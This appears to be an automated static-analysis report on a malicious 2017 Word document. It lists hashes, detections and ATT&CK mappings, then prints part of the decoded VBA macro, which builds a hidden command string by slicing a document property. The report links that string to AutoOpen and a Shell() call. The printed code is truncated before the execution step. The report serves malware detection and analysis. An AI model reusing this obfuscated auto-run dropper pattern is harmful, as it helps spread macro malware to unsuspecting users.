Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 26582ff0d7d9578d…

MALICIOUS

Office (OLE)

72.0 KB Created: 2017-10-12 09:03:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 1c29fbfe17b495cb4d313fd2d8bf6180 SHA-1: 8920146ae70741dd75ffed38c8a5e3487e655653 SHA-256: 26582ff0d7d9578d564bedc4f3add7d0d2326be6959039b7dc2372458390e810
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and a Shell() call, indicating an attempt to execute arbitrary code. Heuristics and ClamAV detection confirm its malicious nature, suggesting it acts as a downloader for further malicious activity.

Heuristics 7

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5586 bytes
SHA-256: eaf5fd4709aeba047158372ca9c0dfe13f94269b019beb952de61623a16230d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub iFYbWsGij()
EHDAmOlWE = "" + TiLvZ + oOjNo + FGWAFmvd + ohhQFiH + "coMments" + TiLvZ + oOjNo + FGWAFmvd + ohhQFiH + vwmvcD + zBzEkG + nwcJCpC + BYXjfA + wpFYltvi
GzwjQbf = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 3053), 129)
BjOJki = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 3423), 51)
qIRsNvBlpv = Right(Left((YTkPTDXUp(EHDAmOlWE)), 7418), 50)
nDswLiFI = Right(Left((YTkPTDXUp(EHDAmOlWE)), 4778), 14)
jupcokwMk = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 8672), 81)
kAGbatDv = Right(Left((YTkPTDXUp(EHDAmOlWE)), 14563), 199)
fjuZwoPw = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 1447), 82)
iLIZWCkH = Mid((YTkPTDXUp(EHDAmOlWE)), 500, 39)
dKmFCDlWkl = Right(Left((YTkPTDXUp(EHDAmOlWE)), 9477), 89)
kHDOvD = Right(Left((YTkPTDXUp(EHDAmOlWE)), 127), 111)
hNimsYrhFXI = Right(Left((YTkPTDXUp(EHDAmOlWE)), 7196), 164)
GwUuoWvCs = Right(Left((YTkPTDXUp(EHDAmOlWE)), 2912), 144)
XRaBVIH = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 293), 7)
UHPjzMd = Right(Left((YTkPTDXUp(EHDAmOlWE)), 1871), 2)
RNcEj = Right(Left((YTkPTDXUp(EHDAmOlWE)), 4698), 114)
iUHjut = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 14670), 13)
JObwq = Mid((YTkPTDXUp(EHDAmOlWE)), 394, 106)
QbfJzjoubsj = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 12645), 189)
ArThwqno = Mid((YTkPTDXUp(EHDAmOlWE)), 15788, 134)
WbTPW = Mid((YTkPTDXUp(EHDAmOlWE)), 16074, 100)
uBAYIQaIhjR = GzwjQbf + BjOJki + qIRsNvBlpv + nDswLiFI + jupcokwMk + kAGbatDv + fjuZwoPw + iLIZWCkH + dKmFCDlWkl + kHDOvD + hNimsYrhFXI + GwUuoWvCs + XRaBVIH + UHPjzMd + RNcEj + iUHjut + JObwq + QbfJzjoubsj + ArThwqno + WbTPW
MOGFDqtHRL = Right(Left((YTkPTDXUp(EHDAmOlWE)), 11484), 168)
TMLhEO = Mid((YTkPTDXUp(EHDAmOlWE)), 4809, 101)
qdVUMjaQsw = Right(Left((YTkPTDXUp(EHDAmOlWE)), 4194), 182)
QpbwnIzb = Right(Left((YTkPTDXUp(EHDAmOlWE)), 6653), 144)
koitwOwzbD = Right(Left((YTkPTDXUp(EHDAmOlWE)), 9052), 73)
zjslsXP = Right(Left((YTkPTDXUp(EHDAmOlWE)), 7881), 98)
SzRzik = Mid((YTkPTDXUp(EHDAmOlWE)), 3827, 83)
wRcoEthpTjL = Right(Left((YTkPTDXUp(EHDAmOlWE)), 2230), 58)
XJOzqsEBPZM = Right(Left((YTkPTDXUp(EHDAmOlWE)), 13030), 192)
RpNvSdhG = Right(Left((YTkPTDXUp(EHDAmOlWE)), 8389), 163)
livpLwZnDJ = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 9256), 13)
pCznsKrjrQP = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 13059), 99)
rbYRimmt = Right(Left((YTkPTDXUp(EHDAmOlWE)), 721), 176)
TvDtFqmI = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 7276), 65)
WzLvi = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 12089), 24)
OzuUOPMT = Mid((YTkPTDXUp(EHDAmOlWE)), 5295, 39)
dGsQc = uBAYIQaIhjR + MOGFDqtHRL + TMLhEO + qdVUMjaQsw + QpbwnIzb + koitwOwzbD + zjslsXP + SzRzik + wRcoEthpTjL + XJOzqsEBPZM + RpNvSdhG + livpLwZnDJ + pCznsKrjrQP + rbYRimmt + TvDtFqmI + WzLvi + OzuUOPMT
YvdIEjq = Mid((YTkPTDXUp(EHDAmOlWE)), 13378, 100)
pQmsUUhmO = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 10768), 123)
EcHoNOlGbEY = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 11620), 95)
GKGoQcLz = Right(Left((YTkPTDXUp(EHDAmOlWE)), 5071), 108)
AoUIJ = Right(Left((YTkPTDXUp(EHDAmOlWE)), 13692), 77)
dOzALv = Mid((YTkPTDXUp(EHDAmOlWE)), 3236, 107)
vqujwjRhOl = Right(Left((YTkPTDXUp(EHDAmOlWE)), 15243), 157)
tWmbwM = Right(Left((YTkPTDXUp(EHDAmOlWE)), 6929), 136)
AsFcUQ = Right(Left((YTkPTDXUp(EHDAmOlWE)), 13783), 23)
kXvOTz = Mid((YTkPTDXUp(EHDAmOlWE)), 5965, 167)
RPtUiHGWzY = Mid((YTkPTDXUp(EHDAmOlWE)), 1704, 9)
bYEwU = Left(Right((YTkPTDXUp(EHDAmOlWE)), Len((YTkPTDXUp(EHDAmOlWE))) - 12011), 74)
DkROhGHwqp = Left(Right((YTkPTDX
... (truncated)

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